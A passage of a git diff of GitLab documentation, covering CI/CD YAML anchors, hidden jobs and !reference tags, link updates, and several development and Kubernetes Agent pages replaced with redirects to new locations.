+ - postgres
+ - ruby
+
+.mysql_services:
+ services:
+ - mysql
+ - ruby
+
+test:postgres:
+ script:
+ - test project
+ services:
+ - postgres
+ - ruby
+ tags:
+ - postgres
+
+test:mysql:
+ script:
+ - test project
+ services:
+ - mysql
+ - ruby
+ tags:
+ - dev
+```
+
+You can see that the hidden jobs are conveniently used as templates, and
+`tags: [postgres]` overwrites `tags: [dev]`.
+
+#### YAML anchors for scripts
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23005) in GitLab 12.5.
+
+You can use [YAML anchors](#anchors) with [script](#script), [`before_script`](#before_script),
+and [`after_script`](#after_script) to use predefined commands in multiple jobs:
+
+```yaml
+.some-script-before: &some-script-before
+ - echo "Execute this script first"
+
+.some-script: &some-script
+ - echo "Execute this script second"
+ - echo "Execute this script too"
+
+.some-script-after: &some-script-after
+ - echo "Execute this script last"
+
+job1:
+ before_script:
+ - *some-script-before
+ script:
+ - *some-script
+ - echo "Execute something, for this job only"
+ after_script:
+ - *some-script-after
+
+job2:
+ script:
+ - *some-script-before
+ - *some-script
+ - echo "Execute something else, for this job only"
+ - *some-script-after
+```
+
+#### YAML anchors for variables
+
+Use [YAML anchors](#anchors) with `variables` to repeat assignment
+of variables across multiple jobs. You can also use YAML anchors when a job
+requires a specific `variables` block that would otherwise override the global variables.
+
+The following example shows how override the `GIT_STRATEGY` variable without affecting
+the use of the `SAMPLE_VARIABLE` variable:
+
+```yaml
+# global variables
+variables: &global-variables
+ SAMPLE_VARIABLE: sample_variable_value
+ ANOTHER_SAMPLE_VARIABLE: another_sample_variable_value
+
+# a job that must set the GIT_STRATEGY variable, yet depend on global variables
+job_no_git_strategy:
+ stage: cleanup
+ variables:
+ <<: *global-variables
+ GIT_STRATEGY: none
+ script: echo $SAMPLE_VARIABLE
+```
+
+### Hide jobs
+
+If you want to temporarily disable a job, rather than commenting out all the
+lines where the job is defined:
+
+```yaml
+# hidden_job:
+# script:
+# - run test
+```
+
+Instead, you can start its name with a dot (`.`) and it is not processed by
+GitLab CI/CD. In the following example, `.hidden_job` is ignored:
+
+```yaml
+.hidden_job:
+ script:
+ - run test
+```
+
+Use this feature to ignore jobs, or use the
+[YAML-specific features](#yaml-specific-features) and transform the hidden jobs
+into templates.
+
+### `!reference` tags
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/266173) in GitLab 13.9.
+
+Use the `!reference` custom YAML tag to select keyword configuration from other job
+sections and reuse it in the current section. Unlike [YAML anchors](#anchors), you can
+use `!reference` tags to reuse configuration from [included](#include) configuration
+files as well.
+
+In the following example, a `script` and an `after_script` from two different locations are
+reused in the `test` job:
+
+- `setup.yml`:
+
+ ```yaml
+ .setup:
+ script:
+ - echo creating environment
+ ```
+
+- `.gitlab-ci.yml`:
+
+ ```yaml
+ include:
+ - local: setup.yml
+
+ .teardown:
+ after_script:
+ - echo deleting environment
+
+ test:
+ script:
+ - !reference [.setup, script]
+ - echo running my own command
+ after_script:
+ - !reference [.teardown, after_script]
+ ```
+
+In the following example, `test-vars-1` reuses all the variables in `.vars`, while `test-vars-2`
+selects a specific variable and reuses it as a new `MY_VAR` variable.
+
+```yaml
+.vars:
+ variables:
+ URL: "http://my-url.internal"
+ IMPORTANT_VAR: "the details"
+
+test-vars-1:
+ variables: !reference [.vars, variables]
+ script:
+ - printenv
+
+test-vars-2:
+ variables:
+ MY_VAR: !reference [.vars, variables, IMPORTANT_VAR]
+ script:
+ - printenv
+```
+
+You can't reuse a section that already includes a `!reference` tag. Only one level
+of nesting is supported.
+
+## Skip Pipeline
+
+To push a commit without triggering a pipeline, add `[ci skip]` or `[skip ci]`, using any
+capitalization, to your commit message.
+
+Alternatively, if you are using Git 2.10 or later, use the `ci.skip` [Git push option](../../user/project/push_options.md#push-options-for-gitlab-cicd).
+The `ci.skip` push option does not skip merge request
+pipelines.
+
+## Processing Git pushes
+
+GitLab creates at most four branch and tag pipelines when
+pushing multiple changes in a single `git push` invocation.
+
+This limitation does not affect any of the updated merge request pipelines.
+All updated merge requests have a pipeline created when using
+[pipelines for merge requests](../pipelines/merge_request_pipelines.md).
+
+## Deprecated keywords
+
+The following keywords are deprecated.
+
+### Globally-defined `types`
+
+WARNING:
+`types` is deprecated, and could be removed in a future release.
+Use [`stages`](#stages) instead.
+
+### Job-defined `type`
+
+WARNING:
+`type` is deprecated, and could be removed in one of the future releases.
+Use [`stage`](#stage) instead.
+
+### Globally-defined `image`, `services`, `cache`, `before_script`, `after_script`
+
+Defining `image`, `services`, `cache`, `before_script`, and
+`after_script` globally is deprecated. Support could be removed
+from a future release.
+
+Use [`default:`](#custom-default-keyword-values) instead. For example:
+
+```yaml
+default:
+ image: ruby:3.0
+ services:
+ - docker:dind
+ cache:
+ paths: [vendor/]
+ before_script:
+ - bundle config set path vendor/bundle
+ - bundle install
+ after_script:
+ - rm -rf tmp/
+```
+
+<!-- ## Troubleshooting
+
+Include any troubleshooting steps that you can foresee. If you know beforehand what issues
+one might have when setting this up, or when something is changed, or on upgrading, it's
+important to describe those, too. Think of things that may go wrong and include them here.
+This is important to minimize requests for support, and to avoid doc comments with
+questions that you know someone might ask.
+
+Each scenario can be a third-level heading, e.g. `### Getting error message X`.
+If you have none to add when creating a doc, leave this section in place
+but commented out to help encourage others to add to it in the future. -->
diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md
index 2e5517f6190..9e118895d7c 100644
--- a/doc/ci/yaml/script.md
+++ b/doc/ci/yaml/script.md
@@ -5,9 +5,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# GitLab CI/CD script syntax
+# GitLab CI/CD script syntax **(FREE)**
-You can use special syntax in [`script`](README.md#script) sections to:
+You can use special syntax in [`script`](index.md#script) sections to:
- [Split long commands](#split-long-commands) into multiline commands.
- [Use color codes](#add-color-codes-to-script-output) to make job logs easier to review.
@@ -121,7 +121,7 @@ job:
- echo -e "\e[31mThis text is red,\e[0m but this text isn't\e[31m however this text is red again."
```
-You can define the color codes in Shell environment variables, or even [custom CI/CD variables](../variables/README.md#custom-cicd-variables),
+You can define the color codes in Shell environment variables, or even [custom CI/CD variables](../variables/index.md#custom-cicd-variables),
which makes the commands easier to read and reusable.
For example, using the same example as above and environment variables defined in a `before_script`:
diff --git a/doc/development/README.md b/doc/development/README.md
index bc996fdff21..5ab8653dc35 100644
--- a/doc/development/README.md
+++ b/doc/development/README.md
@@ -1,308 +1,8 @@
---
-comments: false
-type: index, dev
-stage: none
-group: Development
-info: "See the Technical Writers assigned to Development Guidelines: https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines"
-description: "Development Guidelines: learn how to contribute to GitLab."
+redirect_to: 'index.md'
---
-# Contributor and Development Docs
+This document was moved to [another location](index.md).
-Learn the processes and technical information needed for contributing to GitLab.
-
-This content is intended for members of the GitLab Team as well as community
-contributors. Content specific to the GitLab Team should instead be included in
-the [Handbook](https://about.gitlab.com/handbook/).
-
-For information on using GitLab to work on your own software projects, see the
-[GitLab user documentation](../user/index.md).
-
-For information on working with the GitLab APIs, see the [API documentation](../api/README.md).
-
-For information about how to install, configure, update, and upgrade your own
-GitLab instance, see the [administration documentation](../administration/index.md).
-
-## Get started
-
-- Set up the GitLab development environment with the
- [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/README.md)
-- [GitLab contributing guide](contributing/index.md)
- - [Issues workflow](contributing/issue_workflow.md) for more information about:
- - Issue tracker guidelines.
- - Triaging.
- - Labels.
- - Feature proposals.
- - Issue weight.
- - Regression issues.
- - Technical or UX debt.
- - [Merge requests workflow](contributing/merge_request_workflow.md) for more
- information about:
- - Merge request guidelines.
- - Contribution acceptance criteria.
- - Definition of done.
- - Dependencies.
- - [Style guides](contributing/style_guides.md)
- - [Implement design & UI elements](contributing/design.md)
-- [GitLab Architecture Overview](architecture.md)
-- [Rake tasks](rake_tasks.md) for development
-
-## Processes
-
-**Must-reads:**
-
-- [Guide on adapting existing and introducing new components](architecture.md#adapting-existing-and-introducing-new-components)
-- [Code review guidelines](code_review.md) for reviewing code and having code
- reviewed
-- [Database review guidelines](database_review.md) for reviewing
- database-related changes and complex SQL queries, and having them reviewed
-- [Secure coding guidelines](secure_coding_guidelines.md)
-- [Pipelines for the GitLab project](pipelines.md)
-
-Complementary reads:
-
-- [GitLab core team & GitLab Inc. contribution process](https://gitlab.com/gitlab-org/gitlab/-/blob/master/PROCESS.md)
-- [Security process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/security/developer.md#security-releases-critical-non-critical-as-a-developer)
-- [Guidelines for implementing Enterprise Edition features](ee_features.md)
-- [Danger bot](dangerbot.md)
-- [Guidelines for changelogs](changelog.md)
-- [Requesting access to ChatOps on GitLab.com](chatops_on_gitlabcom.md#requesting-access) (for GitLab team members)
-- [Patch release process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/patch/process.md#process-for-developers)
-- [Adding a new service component to GitLab](adding_service_component.md)
-
-### Development guidelines review
-
-When you submit a change to the GitLab development guidelines, who
-you ask for reviews depends on the level of change.
-
-#### Wording, style, or link changes
-
-Not all changes require extensive review. For example, MRs that don't change the
-content's meaning or function can be reviewed, approved, and merged by any
-maintainer or Technical Writer. These can include:
-
-- Typo fixes.
-- Clarifying links, such as to external programming language documentation.
-- Changes to comply with the [Documentation Style Guide](documentation/index.md)
- that don't change the intent of the documentation page.
-
-#### Specific changes
-
-If the MR proposes changes that are limited to a particular stage, group, or team,
-request a review and approval from an experienced GitLab Team Member in that
-group. For example, if you're documenting a new internal API used exclusively by
-a given group, request an engineering review from one of the group's members.
-
-After the engineering review is complete, assign the MR to the
-[Technical Writer associated with the stage and group](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments)
-in the modified documentation page's metadata.
-
-If you have questions or need further input, request a review from the
-Technical Writer assigned to the [Development Guidelines](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines).
-
-#### Broader changes
-
-Some changes affect more than one group. For example:
-
-- Changes to [code review guidelines](code_review.md).
-- Changes to [commit message guidelines](contributing/merge_request_workflow.md#commit-messages-guidelines).
-- Changes to guidelines in [feature flags in development of GitLab](feature_flags/).
-- Changes to [feature flags documentation guidelines](documentation/feature_flags.md).
-
-In these cases, use the following workflow:
-
-1. Request a peer review from a member of your team.
-1. Request a review and approval of an Engineering Manager (EM)
- or Staff Engineer who's responsible for the area in question:
-
- - [Frontend](https://about.gitlab.com/handbook/engineering/frontend/)
- - [Backend](https://about.gitlab.com/handbook/engineering/)
- - [Database](https://about.gitlab.com/handbook/engineering/development/database/)
- - [User Experience (UX)](https://about.gitlab.com/handbook/engineering/ux/)
- - [Security](https://about.gitlab.com/handbook/engineering/security/)
- - [Quality](https://about.gitlab.com/handbook/engineering/quality/)
- - [Engineering Productivity](https://about.gitlab.com/handbook/engineering/quality/engineering-productivity-team/)
- - [Infrastructure](https://about.gitlab.com/handbook/engineering/infrastructure/)
- - [Technical Writing](https://about.gitlab.com/handbook/engineering/ux/technical-writing/)
-
- You can skip this step for MRs authored by EMs or Staff Engineers responsible
- for their area.
-
- If there are several affected groups, you may need approvals at the
- EM/Staff Engineer level from each affected area.
-
-1. After completing the reviews, consult with the EM/Staff Engineer
- author / approver of the MR.
-
- If this is a significant change across multiple areas, request final review
- and approval from the VP of Development, the DRI for Development Guidelines,
- @clefelhocz1.
-
-1. After all approvals are complete, assign the merge request to the
- Technical Writer for [Development Guidelines](https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments-to-development-guidelines)
- for final content review and merge. The Technical Writer may ask for
- additional approvals as previously suggested before merging the MR.
-
-## UX and Frontend guides
-
-- [GitLab Design System](https://design.gitlab.com/), for building GitLab with
- existing CSS styles and elements
-- [Frontend guidelines](fe_guide/index.md)
-- [Emoji guide](fe_guide/emojis.md)
-
-## Backend guides
-
-- [Directory structure](directory_structure.md)
-- [GitLab utilities](utilities.md)
-- [Issuable-like Rails models](issuable-like-models.md)
-- [Logging](logging.md)
-- [API style guide](api_styleguide.md) for contributing to the API
-- [GraphQL API style guide](api_graphql_styleguide.md) for contributing to the
- [GraphQL API](../api/graphql/index.md)
-- [Sidekiq guidelines](sidekiq_style_guide.md) for working with Sidekiq workers
-- [Working with Gitaly](gitaly.md)
-- [Manage feature flags](feature_flags/index.md)
-- [Licensed feature availability](licensed_feature_availability.md)
-- [Dealing with email/mailers](emails.md)
-- [Shell commands](shell_commands.md) in the GitLab codebase
-- [`Gemfile` guidelines](gemfile.md)
-- [Pry debugging](pry_debugging.md)
-- [Sidekiq debugging](../administration/troubleshooting/sidekiq.md)
-- [Accessing session data](session.md)
-- [Gotchas](gotchas.md) to avoid
-- [Avoid modules with instance variables](module_with_instance_variables.md), if
- possible
-- [How to dump production data to staging](db_dump.md)
-- [Working with the GitHub importer](github_importer.md)
-- [Import/Export development documentation](import_export.md)
-- [Test Import Project](import_project.md)
-- [Group migration](bulk_import.md)
-- [Elasticsearch integration docs](elasticsearch.md)
-- [Working with Merge Request diffs](diffs.md)
-- [Kubernetes integration guidelines](kubernetes.md)
-- [Permissions](permissions.md)
-- [Guidelines for reusing abstractions](reusing_abstractions.md)
-- [DeclarativePolicy framework](policies.md)
-- [How Git object deduplication works in GitLab](git_object_deduplication.md)
-- [Geo development](geo.md)
-- [Routing](routing.md)
-- [Repository mirroring](repository_mirroring.md)
-- [Git LFS](lfs.md)
-- [Developing against interacting components or features](interacting_components.md)
-- [File uploads](uploads.md)
-- [Auto DevOps development guide](auto_devops.md)
-- [Mass Inserting Models](mass_insert.md)
-- [Value Stream Analytics development guide](value_stream_analytics.md)
-- [Issue types vs first-class types](issue_types.md)
-- [Application limits](application_limits.md)
-- [Redis guidelines](redis.md)
-- [Rails initializers](rails_initializers.md)
-- [Code comments](code_comments.md)
-- [Renaming features](renaming_features.md)
-- [Windows Development on GCP](windows.md)
-- [Code Intelligence](code_intelligence/index.md)
-- [Approval Rules](approval_rules.md)
-- [Feature categorization](feature_categorization/index.md)
-- [Wikis development guide](wikis.md)
-- [Newlines style guide](newlines_styleguide.md)
-- [Image scaling guide](image_scaling.md)
-- [Export to CSV](export_csv.md)
-- [Cascading Settings](cascading_settings.md)
-- [FIPS compliance](fips_compliance.md)
-
-## Performance guides
-
-- [Instrumentation](instrumentation.md) for Ruby code running in production
- environments.
-- [Performance guidelines](performance.md) for writing code, benchmarks, and
- certain patterns to avoid.
-- [Merge request performance guidelines](merge_request_performance_guidelines.md)
- for ensuring merge requests do not negatively impact GitLab performance
-- [Profiling](profiling.md) a URL, measuring performance using Sherlock, or
- tracking down N+1 queries using Bullet.
-- [Cached queries guidelines](cached_queries.md), for tracking down N+1 queries
- masked by query caching, memory profiling and why should we avoid cached
- queries.
-
-## Database guides
-
-See [database guidelines](database/index.md).
-
-## Integration guides
-
-- [Jira Connect app](integrations/jira_connect.md)
-- [Security Scanners](integrations/secure.md)
-- [Secure Partner Integration](integrations/secure_partner_integration.md)
-- [How to run Jenkins in development environment](integrations/jenkins.md)
-- [How to run local `Codesandbox` integration for Web IDE Live Preview](integrations/codesandbox.md)
-
-## Testing guides
-
-- [Testing standards and style guidelines](testing_guide/index.md)
-- [Frontend testing standards and style guidelines](testing_guide/frontend_testing.md)
-
-## Refactoring guides
-
-- [Refactoring guidelines](refactoring_guide/index.md)
-
-## Deprecation guides
-
-- [Deprecation guidelines](deprecation_guidelines/index.md)
-
-## Documentation guides
-
-- [Writing documentation](documentation/index.md)
-- [Documentation style guide](documentation/styleguide/index.md)
-- [Markdown](../user/markdown.md)
-
-## Internationalization (i18n) guides
-
-- [Introduction](i18n/index.md)
-- [Externalization](i18n/externalization.md)
-- [Translation](i18n/translation.md)
-
-## Product Intelligence guides
-
-- [Product Intelligence guide](https://about.gitlab.com/handbook/product/product-intelligence-guide/)
-- [Usage Ping guide](usage_ping/index.md)
-- [Snowplow guide](snowplow/index.md)
-
-## Experiment guide
-
-- [Introduction](experiment_guide/index.md)
-
-## Build guides
-
-- [Building a package for testing purposes](build_test_package.md)
-
-## Compliance
-
-- [Licensing](licensing.md) for ensuring license compliance
-
-## Go guides
-
-- [Go Guidelines](go_guide/index.md)
-
-## Shell Scripting guides
-
-- [Shell scripting standards and style guidelines](shell_scripting_guide/index.md)
-
-## Domain-specific guides
-
-- [CI/CD development documentation](cicd/index.md)
-- [AppSec development documentation](appsec/index.md)
-
-## Other Development guides
-
-- [Defining relations between files using projections](projections.md)
-- [Reference processing](reference_processing.md)
-- [Compatibility with multiple versions of the application running at the same time](multi_version_compatibility.md)
-- [Features inside `.gitlab/`](features_inside_dot_gitlab.md)
-- [Dashboards for stage groups](stage_group_dashboards.md)
-- [Preventing transient bugs](transient/prevention-patterns.md)
-
-## Other GitLab Development Kit (GDK) guides
-
-- [Run full Auto DevOps cycle in a GDK instance](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/auto_devops.md)
-- [Using GitLab Runner with the GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/howto/runner.md)
-- [Using the Web IDE terminal with the GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/howto/web_ide_terminal_gdk_setup.md)
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/agent/gitops.md b/doc/development/agent/gitops.md
index f183ba86aa1..3d59f5bd845 100644
--- a/doc/development/agent/gitops.md
+++ b/doc/development/agent/gitops.md
@@ -1,148 +1,9 @@
---
-stage: Configure
-group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+redirect_to: 'https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/gitops.md'
+remove_date: '2022-06-24'
---
-# GitOps with the Kubernetes Agent **(PREMIUM SELF)**
+This file was moved to [another location](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/gitops.md).
-The [GitLab Kubernetes Agent](../../user/clusters/agent/index.md) supports the
-[pull-based version](https://www.gitops.tech/#pull-based-deployments) of
-[GitOps](https://www.gitops.tech/). To be useful, the feature must be able to perform these tasks:
-
-- Connect one or more Kubernetes clusters to a GitLab project or group.
-- Synchronize cluster-wide state from a Git repository.
-- Synchronize namespace-scoped state from a Git repository.
-- Control the following settings:
-
- - The kinds of objects an agent can manage.
- - Enabling the namespaced mode of operation for managing objects only in a specific namespace.
- - Enabling the non-namespaced mode of operation for managing objects in any namespace, and
- managing non-namespaced objects.
-
-- Synchronize state from one or more Git repositories into a cluster.
-- Configure multiple agents running in different clusters to synchronize state
- from the same repository.
-
-## GitOps architecture
-
-In this architecture, the Kubernetes cluster (`agentk`) periodically fetches
-configuration from (`kas`), spawning a goroutine for each configured GitOps
-repository. Each goroutine makes a streaming `GetObjectsToSynchronize()` gRPC call.
-`kas` accepts these requests, then checks if this agent is authorized to access
-this GitLab repository. If authorized, `kas` polls Gitaly for repository updates
-and sends the latest manifests to the agent.
-
-Before each poll, `kas` verifies with GitLab that the agent's token is still valid.
-When `agentk` receives an updated manifest, it performs a synchronization using
-[`gitops-engine`](https://github.com/argoproj/gitops-engine).
-
-If a repository is removed from the list, `agentk` stops the `GetObjectsToSynchronize()`
-calls to that repository.
-
-```mermaid
-graph TB
- agentk -- fetch configuration --> kas
- agentk -- fetch GitOps manifests --> kas
-
- subgraph "GitLab"
- kas[kas]
- GitLabRoR[GitLab RoR]
- Gitaly[Gitaly]
- kas -- poll GitOps repositories --> Gitaly
- kas -- authZ for agentk --> GitLabRoR
- kas -- fetch configuration --> Gitaly
- end
-
- subgraph "Kubernetes cluster"
- agentk[agentk]
- end
-```
-
-## Architecture considered but not implemented
-
-As part of the implementation process, this architecture was considered, but ultimately
-not implemented.
-
-In this architecture, `agentk` periodically fetches configuration from `kas`. For each
-configured GitOps repository, it spawns a goroutine. Each goroutine then spawns a
-copy of [`git-sync`](https://github.com/kubernetes/git-sync). It polls a particular
-repository and invokes a corresponding webhook on `agentk` when it changes. When that
-happens, `agentk` performs a synchronization using
-[`gitops-engine`](https://github.com/argoproj/gitops-engine).
-
-For repositories no longer in the list, `agentk` stops corresponding goroutines
-and `git-sync` copies, also deleting their cloned repositories from disk:
-
-```mermaid
-graph TB
- agentk -- fetch configuration --> kas
- git-sync -- poll GitOps repositories --> GitLabRoR
-
- subgraph "GitLab"
- kas[kas]
- GitLabRoR[GitLab RoR]
- kas -- authZ for agentk --> GitLabRoR
- kas -- fetch configuration --> Gitaly[Gitaly]
- end
-
- subgraph "Kubernetes cluster"
- agentk[agentk]
- git-sync[git-sync]
- agentk -- control --> git-sync
- git-sync -- notify about changes --> agentk
- end
-```
-
-## Comparing implemented and non-implemented architectures
-
-Both architectures attempt to answer the same question: how to grant an agent
-access to a non-public repository?
-
-In the **implemented** architecture:
-
-- Favorable: Fewer moving parts, as `git-sync` and `git` are not used, making this
- design more reliable.
-- Favorable: Uses existing connectivity and authentication mechanisms are used (gRPC + `agentk` token).
-- Favorable: No polling through external infrastructure. Saves traffic and avoids
- noise in access logs.
-
-In the **unimplemented** architecture:
-
-- Favorable: `agentk` uses `git-sync` to access repositories with standard protocols
- (either HTTPS, or SSH and Git) with accepted authentication and authorization methods.
-
- - Unfavorable: The user must put credentials into a `secret`. GitLab doesn't have
- a mechanism for per-repository tokens for robots.
- - Unfavorable: Rotating all credentials is more work than rotating a single `agentk` token.
-
-- Unfavorable: A dependency on an external component (`git-sync`) that can be avoided.
-- Unfavorable: More network traffic and connections than the implemented design
-
-### Ideas considered for the unimplemented design
-
-As part of the design process, these ideas were considered, and discarded:
-
-- Running `git-sync` and `gitops-engine` as part of `kas`.
-
- - Favorable: More code and infrastructure under our control for GitLab.com
- - Unfavorable: Running an arbitrary number of `git-sync` processes would require
- an unbounded amount of RAM and disk space.
- - Unfavorable: Unclear which `kas` replica is responsible for which agent and
- repository synchronization. If done as part of `agentk`, leader election can be
- done using [client-go](https://pkg.go.dev/k8s.io/client-go/tools/leaderelection?tab=doc).
-
-- Running `git-sync` and a "`gitops-engine` driver" helper program as a separate
- Kubernetes `Deployment`.
-
- - Favorable: Better isolation and higher resiliency. For example, if the node
- with `agentk` dies, not all synchronization stops.
- - Favorable: Each deployment has its own memory and disk limits.
- - Favorable: Per-repository synchronization identity (distinct `ServiceAccount`)
- can be implemented.
- - Unfavorable: Time consuming to implement properly:
-
- - Each `Deployment` needs CRUD (create, update, and delete) permissions.
- - Users may want to customize a `Deployment`, or add and remove satellite objects
- like `PodDisruptionBudget`, `HorizontalPodAutoscaler`, and `PodSecurityPolicy`.
- - Metrics, monitoring, logs for the `Deployment`.
+<!-- This redirect file can be deleted after <2022-06-24>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/agent/identity.md b/doc/development/agent/identity.md
index 83af4318de9..67084a6d995 100644
--- a/doc/development/agent/identity.md
+++ b/doc/development/agent/identity.md
@@ -1,106 +1,9 @@
---
-stage: Configure
-group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+redirect_to: 'https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/identity_and_auth.md'
+remove_date: '2022-06-24'
---
-# Kubernetes Agent identity and authentication **(PREMIUM SELF)**
+This file was moved to [another location](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/identity_and_auth.md).
-This page uses the word `agent` to describe the concept of the
-GitLab Kubernetes Agent. The program that implements the concept is called `agentk`.
-Read the
-[architecture page](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md)
-for more information.
-
-## Agent identity and name
-
-In a GitLab installation, each agent must have a unique, immutable name. This
-name must be unique in the project the agent is attached to, and this name must
-follow the [DNS label standard from RFC 1123](https://tools.ietf.org/html/rfc1123).
-The name must:
-
-- Contain at most 63 characters.
-- Contain only lowercase alphanumeric characters or `-`.
-- Start with an alphanumeric character.
-- End with an alphanumeric character.
-
-Kubernetes uses the
-[same naming restriction](https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#dns-label-names)
-for some names.
-
-The regex for names is: `/\A[a-z0-9]([-a-z0-9]*[a-z0-9])?\z/`.
-
-## Multiple agents in a cluster
-
-A Kubernetes cluster may have 0 or more agents running in it. Each agent likely
-has a different configuration. Some may enable features A and B, and some may
-enable features B and C. This flexibility enables different groups of people to
-use different features of the agent in the same cluster.
-
-For example, [Priyanka (Platform Engineer)](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#priyanka-platform-engineer)
-may want to use cluster-wide features of the agent, while
-[Sasha (Software Developer)](https://about.gitlab.com/handbook/marketing/strategic-marketing/roles-personas/#sasha-software-developer)
-uses the agent that only has access to a particular namespace.
-
-Each agent is likely running using a
-[`ServiceAccount`](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/),
-a distinct Kubernetes identity, with a distinct set of permissions attached to it.
-These permissions enable the agent administrator to follow the
-[principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege)
-and minimize the permissions each particular agent needs.
-
-## Kubernetes Agent authentication
-
-When adding a new agent, GitLab provides the user with a bearer access token. The
-agent uses this token to authenticate with GitLab. This token is a random string
-and does not encode any information in it, but it is secret and must
-be treated with care. Store it as a `Secret` in Kubernetes.
-
-Each agent can have 0 or more tokens in a GitLab database. Having several valid
-tokens helps you rotate tokens without needing to re-register an agent. Each token
-record in the database has the following fields:
-
-- Agent identity it belongs to.
-- Token value. Encrypted at rest.
-- Creation time.
-- Who created it.
-- Revocation flag to mark token as revoked.
-- Revocation time.
-- Who revoked it.
-- A text field to store any comments the administrator may want to make about the token for future self.
-
-Tokens can be managed by users with `maintainer` and higher level of
-[permissions](../../user/permissions.md).
-
-Tokens are immutable, and only the following fields can be updated:
-
-- Revocation flag. Can only be updated to `true` once, but immutable after that.
-- Revocation time. Set to the current time when revocation flag is set, but immutable after that.
-- Comments field. Can be updated any number of times, including after the token has been revoked.
-
-The agent sends its token, along with each request, to GitLab to authenticate itself.
-For each request, GitLab checks the token's validity:
-
-- Does the token exist in the database?
-- Has the token been revoked?
-
-This information may be cached for some time to reduce load on the database.
-
-## Kubernetes Agent authorization
-
-GitLab provides the following information in its response for a given Agent access token:
-
-- Agent configuration Git repository. (The agent doesn't support per-folder authorization.)
-- Agent name.
-
-## Create an agent
-
-You can create an agent by following the [user documentation](../../user/clusters/agent/index.md#create-an-agent-record-in-gitlab), or via Rails console:
-
-```ruby
-project = ::Project.find_by_full_path("path-to/your-configuration-project")
-# agent-name should be the same as specified above in the config.yaml
-agent = ::Clusters::Agent.create(name: "<agent-name>", project: project)
-token = ::Clusters::AgentToken.create(agent: agent)
-token.token # this will print out the token you need to use on the next step
-```
+<!-- This redirect file can be deleted after <2022-06-24>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/agent/index.md b/doc/development/agent/index.md
index 112162f8f90..2cb05e2dd8f 100644
--- a/doc/development/agent/index.md
+++ b/doc/development/agent/index.md
@@ -1,87 +1,9 @@
---
-stage: Configure
-group: Configure
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+redirect_to: 'https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md'
+remove_date: '2022-06-24'
---
-# Kubernetes Agent development **(PREMIUM SELF)**
+This file was moved to [another location](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/architecture.md).
-This page contains developer-specific information about the GitLab Kubernetes Agent.
-[End-user documentation about the GitLab Kubernetes Agent](../../user/clusters/agent/index.md)
-is also available.
-
-The agent can help you perform tasks like these:
-
-- Integrate a cluster, located behind a firewall or NAT, with GitLab. To
- learn more, read [issue #212810, Invert the model GitLab.com uses for Kubernetes integration by leveraging long lived reverse tunnels](https://gitlab.com/gitlab-org/gitlab/-/issues/212810).
-- Access API endpoints in a cluster in real time. For an example use case, read
- [issue #218220, Allow Prometheus in K8s cluster to be installed manually](https://gitlab.com/gitlab-org/gitlab/-/issues/218220#note_348729266).
-- Enable real-time features by pushing information about events happening in a cluster.
- For example, you could build a cluster view dashboard to visualize changes in progress
- in a cluster. For more information about these efforts, read about the
- [Real-Time Working Group](https://about.gitlab.com/company/team/structure/working-groups/real-time/).
-- Enable a [cache of Kubernetes objects through informers](https://github.com/kubernetes/client-go/blob/ccd5becdffb7fd8006e31341baaaacd14db2dcb7/tools/cache/shared_informer.go#L34-L183),
- kept up-to-date with very low latency. This cache helps you:
-
- - Reduce or eliminate information propagation latency by avoiding Kubernetes API calls
- and polling, and only fetching data from an up-to-date cache.
- - Lower the load placed on the Kubernetes API by removing polling.
- - Eliminate any rate-limiting errors by removing polling.
- - Simplify backend code by replacing polling code with cache access. While it's another
- API call, no polling is needed. This example describes [fetching cached data synchronously from the front end](https://gitlab.com/gitlab-org/gitlab/-/issues/217792#note_348582537) instead of fetching data from the Kubernetes API.
-
-## Architecture of the Kubernetes Agent
-
-The GitLab Kubernetes Agent and the GitLab Kubernetes Agent Server use
-[bidirectional streaming](https://grpc.io/docs/what-is-grpc/core-concepts/#bidirectional-streaming-rpc)
-to allow the connection acceptor (the gRPC server, GitLab Kubernetes Agent Server) to
-act as a client. The connection acceptor sends requests as gRPC replies. The client-server
-relationship is inverted because the connection must be initiated from inside the
